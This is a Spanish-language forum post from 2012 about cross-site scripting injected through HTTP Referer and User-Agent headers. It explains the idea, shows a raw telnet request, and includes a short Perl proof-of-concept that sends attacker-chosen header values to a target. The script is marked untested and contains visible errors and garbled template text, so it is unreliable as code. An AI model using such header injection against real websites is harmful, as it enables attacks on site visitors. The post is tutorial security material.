Inyección XSS en las cabeceras

Iniciado por Pr0ph3t, Junio 23, 2012, 04:24:40 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 23, 2012, 04:24:40 PM Ultima modificación: Junio 23, 2012, 04:29:14 PM por Pr0ph3t
La fundamentacion de este tipo de errores XSS se encuentra en el texto "Header Based Exploitation" de Zenomorph-CGISecurity, cuyo enlace puede
encontrarse al final de este articulo, en el apartado de enlaces y recursos.

Al establecerse una comunicación HTTP, como en todas, existe un intercambio de datos. El cliente le dice al servidor que quiere que se le muestre página, que la interfaz de su navegador esta en castellano, que su navegador es tal, que acepta x tipos de archivo, y que proviene de x sitio, por ejemplo. Logicamente la mayor parte de ese intercambio se produce automaticamente entre el navegador y el servidor, teniendo el usuario unicamente, la posibilidad de decidir que es lo que quiere del servidor (que se le muestre x pagina).

Muchas páginas usan algunos datos de la sesión HTTP del usuario para mostrarlos como sistemas de registro, estadisticas, o un simple mensaje tipo "Su navegador es: (direccion)" o "Usted proviene de: (referer)" entre muchas otras cosas.

El problema se plantea si un usuario con malas ideas inicia una sesion con el servidor, siendo el mismo el que intercambie los datos con el servidor, e introduciendo los datos que a el le de la gana (HTML, JS...).

# telnet xxx 80

Trying xxx...
Connected to xxx.

Escape character is '^]'.

GET index.html HTTP/1.0
Referer:
User-agent:

<...>

Aqui os pongo un simple codigo ilustrativo cuya funcion es inyecta los datos de USER-AGENT y HTTP-REFERER especificados por el usuario desde la linea de comandos. La labor de ver si la pagina no filtra debera ser manual.

header_xss.pl

Código: php
#!/usr/bin/perl -w

# XSS-HEADER injector

# Prueba de concepto sin estar probada :)
# taseh'03

use IO::Socket;

my $host = @argv[0];
my $inject = @argv[1];
my $inj3ct = @argv[2];
my $gett = "/"; # cambiar por lo que queremos que se reclame... :)

if (@argv < 2){

print "\n\n{jumi [*3] [http://www.govannom.org/seguridad/web_cgi/xss_taseh.txt]} - XSS-Header injector -prueba de concepto-";
print "\nUso: {jumi [*3] [http://www.govannom.org/seguridad/web_cgi/xss_taseh.txt]}   ";
exit;

}

print "Conectando con $host...";
my $socket = IO::Socket::INET->new(
Proto => 'tcp',
PeerAddr => $host,
PeerPort => "80", or die"\n\nNo puedo conectar con $server";
                   # ^^ cambiar puerto si es distinto :)
}

$socket->autoflush(1);
print $socket "GET $gett HTTP/1.0\n";
print $socket "Host: $host\n";
print $socket "Referer: $inject\n"; # inyecta referer falseado
print $socket "User-Agent: $inj3ct\n\n"; # inyecta cli.id falseado

print "\nInyeccion finalizada :).\n";

close $socket;

exit;


Bien, para comprobar si la cadena que queriamos inyectar ha sido realmente inyectada en la pagina de salida basta con visitarla o bajarnosla y hacer un cat pagina.html | grep  y ver si esta o simplemente visualizarla y ver el efecto de nuestro codigo inyectado.

Fuente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Twitter: @The_Pr0ph3t
[email protected]